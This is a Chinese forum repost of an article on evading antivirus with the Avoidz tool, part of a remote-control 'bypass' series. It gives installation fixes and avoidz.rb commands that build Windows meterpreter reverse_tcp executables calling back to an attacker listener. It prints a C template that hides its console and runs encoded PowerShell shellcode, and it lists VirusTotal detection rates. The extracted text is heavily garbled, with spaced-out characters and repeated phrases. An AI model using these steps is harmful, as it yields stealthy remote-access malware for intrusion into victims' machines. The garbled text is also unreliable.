搜索

[26941] 2020-03-23_远控免杀专题(11)-Avoidz免杀(VT免杀率2371)

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2020-03-23_远控免杀专题(11)-Avoidz免杀(VT免杀率2371) 远 控 免 杀 专 题 ( 1 1 ) - A v o i d z 免 杀 ( V T 免 杀 率 2 3 / 7 1 ) M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 3 - 2 3 以 下 文 章 来 源 于 T i d e 安 全 团 队   ， 作 者 重 剑 无 锋 声 明 ： 文 中 所 涉 及 的 技 术 、 思 路 和 工 具 仅 供 以 安 全 为 目 的 的 学 习 交 流 使 用 ， 任 何 人 不 得 将 其 用 于 非 法 用 途 以 及 盈 利 声 明 ： 文 中 所 涉 及 的 技 术 、 思 路 和 工 具 仅 供 以 安 全 为 目 的 的 学 习 交 流 使 用 ， 任 何 人 不 得 将 其 用 于 非 法 用 途 以 及 盈 利 等 目 的 ， 否 则 后 果 自 行 承 担 ！ 等 目 的 ， 否 则 后 果 自 行 承 担 ！ 本 专 题 文 章 导 航 本 专 题 文 章 导 航 1 、 远 控 免 杀 专 题 ( 1 ) - 基 础 篇 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / 3 L Z _ c j 2 g D C 1 b Q A T x q B f w e g 2 、 远 控 免 杀 专 题 ( 2 ) - m s f v e n o m 隐 藏 的 参 数 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / 1 r 0 i a k L p n L r j C r O p 2 g T 1 0 w 3 、 远 控 免 杀 专 题 ( 3 ) - m s f 自 带 免 杀 ( V T 免 杀 率 3 5 / 6 9 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / A 0 C Z s l L h C L O K _ H g k H G c p E A 4 、 远 控 免 杀 专 题 ( 4 ) - E v a s i o n 模 块 ( V T 免 杀 率 1 2 / 7 1 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / Y n n C M 7 W 2 0 x S c v 5 2 k _ u b x Y Q 5 、 远 控 免 杀 专 题 ( 5 ) - V e i l 免 杀 ( V T 免 杀 率 2 3 / 7 1 ) : h t t p s : / / m p . w e i x i n . q q . c o m / s / - P H V I A Q V y U 8 Q I p H w c p N 4 y w 6 、 远 控 免 杀 专 题 ( 6 ) - V e n o m 免 杀 ( V T 免 杀 率 1 1 / 7 1 ) : h t t p s : / / m p . w e i x i n . q q . c o m / s / C b f x u p S W E P B 8 6 t B Z s m x N C Q 7 、 远 控 免 杀 专 题 ( 7 ) - S h e l l t e r 免 杀 ( V T 免 杀 率 7 / 6 9 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / A S n l d n 6 n k 6 8 D 4 b w k f Y m 3 G g 8 、 远 控 免 杀 专 题 ( 8 ) - B a c k D o o r - F a c t o r y 免 杀 ( V T 免 杀 率 1 3 / 7 1 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / A 3 0 J H h X h w e 4 5 x V 7 h v 8 j v V Q 9 、 远 控 免 杀 专 题 ( 9 ) - A v e t 免 杀 ( V T 免 杀 率 1 4 / 7 1 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / E I f q A b M C 8 H o C 6 x c Z P 9 S X p A 1 0 、 远 控 免 杀 专 题 ( 1 0 ) - T h e F a t R a t 免 杀 ( V T 免 杀 率 2 2 / 7 0 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / z O v w f m E t b k p G W W B n 6 4 2 I C A 1 1 、 远 控 免 杀 专 题 ( 1 1 ) - A v o i d z 免 杀 ( V T 免 杀 率 2 3 / 7 1 ) ： 本 文 文 章 打 包 下 载 及 相 关 软 件 下 载 ： 文 章 打 包 下 载 及 相 关 软 件 下 载 ： 免 杀 能 力 一 览 表 免 杀 能 力 一 览 表 T i d e 安 全 团 队 安 全 团 队   . T i d e 安 全 团 队 以 信 安 技 术 研 究 为 目 标 ， 致 力 于 分 享 高 质 量 原 创 文 章 、 开 源 安 全 工 具 、 交 流 安 全 技 术 ， 研 究 方 向 覆 盖 网 络 攻 防 、 W e b 安 全 、 移 动 终 端 、 安 全 开 发 、 物 联 网 / 工 控 安 全 / A I 安 全 等 多 个 领 域 ， 对 安 全 感 兴 趣 的 小 伙 伴 可 以 关 注 我 们 。 h t t p s : / / g i t h u b . c o m / T i d e S e c / B y p a s s A n t i V i r u s
几 点 说 明 ： 几 点 说 明 ： 1 、 上 表 中 标 识 、 上 表 中 标 识   √   说 明 相 应 杀 毒 软 件 未 检 测 出 病 毒 ， 也 就 是 代 表 了 说 明 相 应 杀 毒 软 件 未 检 测 出 病 毒 ， 也 就 是 代 表 了 B y p a s s 。 。 2 、 为 了 更 好 的 对 比 效 果 ， 大 部 分 测 试 、 为 了 更 好 的 对 比 效 果 ， 大 部 分 测 试 p a y l o a d 均 使 用 均 使 用 m s f 的 的 模 块 生 成 。 模 块 生 成 。 3 、 由 于 本 机 测 试 时 只 是 安 装 了 、 由 于 本 机 测 试 时 只 是 安 装 了 3 6 0 全 家 桶 和 火 绒 ， 所 以 默 认 情 况 下 全 家 桶 和 火 绒 ， 所 以 默 认 情 况 下 3 6 0 和 火 绒 杀 毒 情 况 指 的 是 静 态 和 火 绒 杀 毒 情 况 指 的 是 静 态 + 动 态 查 杀 。 动 态 查 杀 。 3 6 0 杀 杀 毒 版 本 毒 版 本 ( 2 0 2 0 . 0 1 . 0 1 ) ， 火 绒 版 本 ， 火 绒 版 本 ( 2 0 2 0 . 0 1 . 0 1 ) ， ， 3 6 0 安 全 卫 士 安 全 卫 士 ( 2 0 2 0 . 0 1 . 0 1 ) 。 。 4 、 其 他 杀 软 的 检 测 指 标 是 在 、 其 他 杀 软 的 检 测 指 标 是 在 （ 简 称 （ 简 称 V T ） 上 在 线 查 杀 ， 所 以 可 能 只 是 代 表 了 静 态 查 杀 能 力 ， 数 据 仅 供 参 考 ， 不 足 以 作 为 免 杀 的 精 确 判 断 指 标 。 ） 上 在 线 查 杀 ， 所 以 可 能 只 是 代 表 了 静 态 查 杀 能 力 ， 数 据 仅 供 参 考 ， 不 足 以 作 为 免 杀 的 精 确 判 断 指 标 。 5 、 完 全 不 必 要 苛 求 一 种 免 杀 技 术 能 、 完 全 不 必 要 苛 求 一 种 免 杀 技 术 能 b y p a s s 所 有 杀 软 ， 这 样 的 技 术 肯 定 是 有 的 ， 只 是 没 被 公 开 ， 一 旦 公 开 第 二 天 就 能 所 有 杀 软 ， 这 样 的 技 术 肯 定 是 有 的 ， 只 是 没 被 公 开 ， 一 旦 公 开 第 二 天 就 能 被 杀 了 ， 其 实 我 们 只 要 能 被 杀 了 ， 其 实 我 们 只 要 能 b y p a s s 目 标 主 机 上 的 杀 软 就 足 够 了 。 目 标 主 机 上 的 杀 软 就 足 够 了 。 w i n d o w s / m e t e r p e r t e r / r e v e r s e _ t c p 5 . 0 . 0 . 8 1 6 0 5 . 0 . 3 4 . 1 6 1 2 . 0 . 0 . 2 0 0 2 v i r u s t o t a l . c o m
一 、 一 、 a v o i d z 介 绍 介 绍 A v o i d z 是 一 个 比 较 使 用 比 较 简 单 的 小 工 具 ， 利 用 m s f 生 成 p o w e r s h e l l 的 s h e l l o c d e ， 然 后 利 用 c # 、 p y t h o n 、 g o 、 r u b y 等 语 言 对 s h e l l c o d e 进 行 编 译 生 成 e x e 而 达 到 免 杀 的 效 果 ， 套 路 比 较 简 单 ， 但 免 杀 效 果 还 算 不 错 。 二 、 安 装 二 、 安 装 a v o i d z a v o i d z 使 用 是 非 常 简 单 的 ， 一 行 命 令 就 可 以 ， 但 安 装 比 较 费 劲 。 因 为 官 方 是 3 年 前 更 新 的 ， 里 面 有 些 错 误 ， 按 官 方 的 是 没 法 安 装 成 功 的 。 首 先 从 g i t h u b 上 c l o n e 到 本 地 进 入 a v o i d z 目 录 ， 执 行 执 行 安 装 程 序 会 要 求 按 照 r u b y 、 m s f 、 w i n e 、 w i n e - p y t h o n 、 w i n e - p y i n s t a l l e r 、 g o l o n g 等 。 其 中 会 提 示 s e t u p . s h g i t   c l o n e   h t t p s : / / g i t h u b . c o m / M 4 s c 3 r 4 n 0 / a v o i d z c h m o d   + x   s e t u p . s h . / s e t u p . s h m i n g w 3 2
安 装 失 败 ， 主 要 是 因 为 中 是 用 命 令 来 检 测 是 否 安 装 ， 使 用 命 令 来 安 装 m i n g w 3 2 的 。 而 在 a p t 安 装 源 中 已 经 删 除 了 ， 想 安 装 的 话 需 要 使 用 这 个 命 令 安 装 后 会 出 现 两 个 命 令 然 后 我 们 做 个 软 连 接 ， 这 样 后 面 执 行 生 成 p a y l o a d 的 时 候 就 不 会 出 错 了 。 安 装 成 功 s e t u p . s h i 5 8 6 - m i n g w 3 2 m s v c - g c c a p t - g e t   i n s t a l l   m i n g w 3 2 m i n g w 3 2 a p t   i n s t a l l   m i n g w - w 6 4 i 6 8 6 - w 6 4 - m i n g w 3 2 - g c c     # 针 对 3 2 - b i t   W i n d o w s ; x 8 6 _ 6 4 - w 6 4 - m i n g w 3 2 - g c c   # 针 对 6 4 - b i t   W i n d o w s . / a v o i d z . r b l n   - s   / u s r / b i n / i 6 8 6 - w 6 4 - m i n g w 3 2 - g c c   / u s r / b i n / i 5 8 6 - m i n g w 3 2 m s v c - g c c
三 、 三 、 a v o i d z 使 用 说 明 使 用 说 明 安 装 好 之 后 ， 使 用 起 来 非 常 非 常 简 单 ， 只 有 四 个 参 数 。 参 数 说 明 ： - h   m s f 监 听 的 I P ， 也 就 是 攻 击 者 的 - p   m s f 监 听 的 端 口 - m   m s f 的 p a y l o a d - f   提 供 了 5 种 编 译 格 式 ， 三 种 c / c # ， 一 种 p y t h o n ， 一 种 g o ， 都 是 生 成 e x e 文 件         - h ,   - - l h o s t   v a l u e                                 i p _ a d d r | d e f a u l t   =   1 2 7 . 0 . 0 . 1         - p ,   - - l p o r t   v a l u e                                 p o r t _ n u m b e r | d e f a u l t   =   4 4 4 4         - m ,   - - p a y l o a d   v a l u e                             p a y l o a d   t o   u s e | d e f a u l t   =   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p         - f ,   - - f o r m a t   v a l u e                               o u t p u t   f o r m a t :   c 1 ,   c 2 ,   c s ,   p y ,   g o
默 认 生 成 的 p a y l o a d 目 录 为 目 录 下 。 四 、 使 用 四 、 使 用 a v o i d z 编 译 编 译 C # 生 成 生 成 e x e ( V T 免 杀 率 免 杀 率 2 3 / 6 8 ) 提 供 3 种 C 代 码 编 译 成 e x e 的 方 式 ， 想 了 解 详 情 的 可 以 查 看 具 体 区 别 。 我 以 第 一 种 为 例 进 行 测 试 这 种 方 式 的 C 代 码 为 / r o o t / c a t   a v o i d z . r b . / a v o i d z . r b   - h   1 0 . 2 1 1 . 5 5 . 2   - p   3 3 3 3   - m   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   - f   c 1 # i n c l u d e   < w i n d o w s . h > i n t   s h e l l C o d e ( ) {   s y s t e m ( " c o l o r   6 3 " ) ;   s y s t e m ( " p o w e r s h e l l . e x e   - n o p   - w i n   H i d d e n   - n o n i   - e n c   # { p o w e r s h e l l _ e n c o d e d } " ) ;   / *     ( ( S h e l l   C o d e   i n t o   t h e   c o n s o l e ) )   * /   r e t u r n   0 ; } v o i d   h i d e ( ) {   H W N D   s t e a l t h ;   A l l o c C o n s o l e ( ) ;   s t e a l t h   =   F i n d W i n d o w A ( " C o n s o l e W i n d o w C l a s s " , N U L L ) ;   S h o w W i n d o w   ( s t e a l t h , 0 ) ; } i n t   m a i n ( ) {   h i d e ( ) ;   s h e l l C o d e ( ) ;   r e t u r n   0 ; } }
执 行 后 可 正 常 上 线 开 启 杀 软 进 行 测 试 ， 静 态 测 试 没 问 题 ， 行 为 检 测 马 上 露 馅 。 v i r u s t o t a l . c o m 中 2 3 / 6 8 个 报 毒
五 、 使 用 五 、 使 用 a v o i d z 编 译 编 译 p y t h o n 生 成 生 成 e x e ( V T 免 杀 率 免 杀 率 1 1 / 6 8 ) 使 用 p y t h o n 生 成 e x e 文 件 静 态 查 杀 没 问 题 ， 行 为 检 测 依 据 被 拦 v i r u s t o t a l . c o m 中 1 1 / 6 8 个 报 毒 . / a v o i d z . r b   - h   1 0 . 2 1 1 . 5 5 . 2   - p   3 3 3 3   - m   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   - f   p y
六 、 使 用 六 、 使 用 a v o i d z 编 译 编 译 g o l a n g 生 成 生 成 e x e ( V T 免 杀 率 免 杀 率 2 3 / 7 1 ) 使 用 g o 生 成 e x e 文 件 g o 版 本 的 静 态 查 杀 都 没 通 过 ， 行 为 检 测 依 据 被 拦 v i r u s t o t a l . c o m 中 2 3 / 7 1 个 报 毒 . / a v o i d z . r b   - h   1 0 . 2 1 1 . 5 5 . 2   - p   3 3 3 3   - m   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   - f   g o
小 结 小 结 a v o i d z 的 原 理 还 是 比 较 简 单 的 ， m s f v e n o m 生 成 p o w e r s h e l l 的 s h e l l c o d e ， 然 后 各 种 语 言 编 译 一 下 生 成 e x e ， 静 态 检 测 查 杀 率 还 算 可 以 ， 但 行 为 检 测 就 很 容 易 被 查 杀 出 来 ， 和 T h e F a t R a t 具 有 相 同 的 缺 陷 。 倒 是 可 以 借 鉴 下 他 的 原 理 ， 自 己 写 个 免 杀 工 具 。 参 考 参 考 官 方 使 用 教 程 ： 扫 描 下 方 二 维 码 学 习 更 多 安 全 知 识 ： 扫 描 下 方 二 维 码 学 习 更 多 安 全 知 识 ： h t t p s : / / w w w . y o u t u b e . c o m / w a t c h ? v = Z i l O B y K k r V k
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理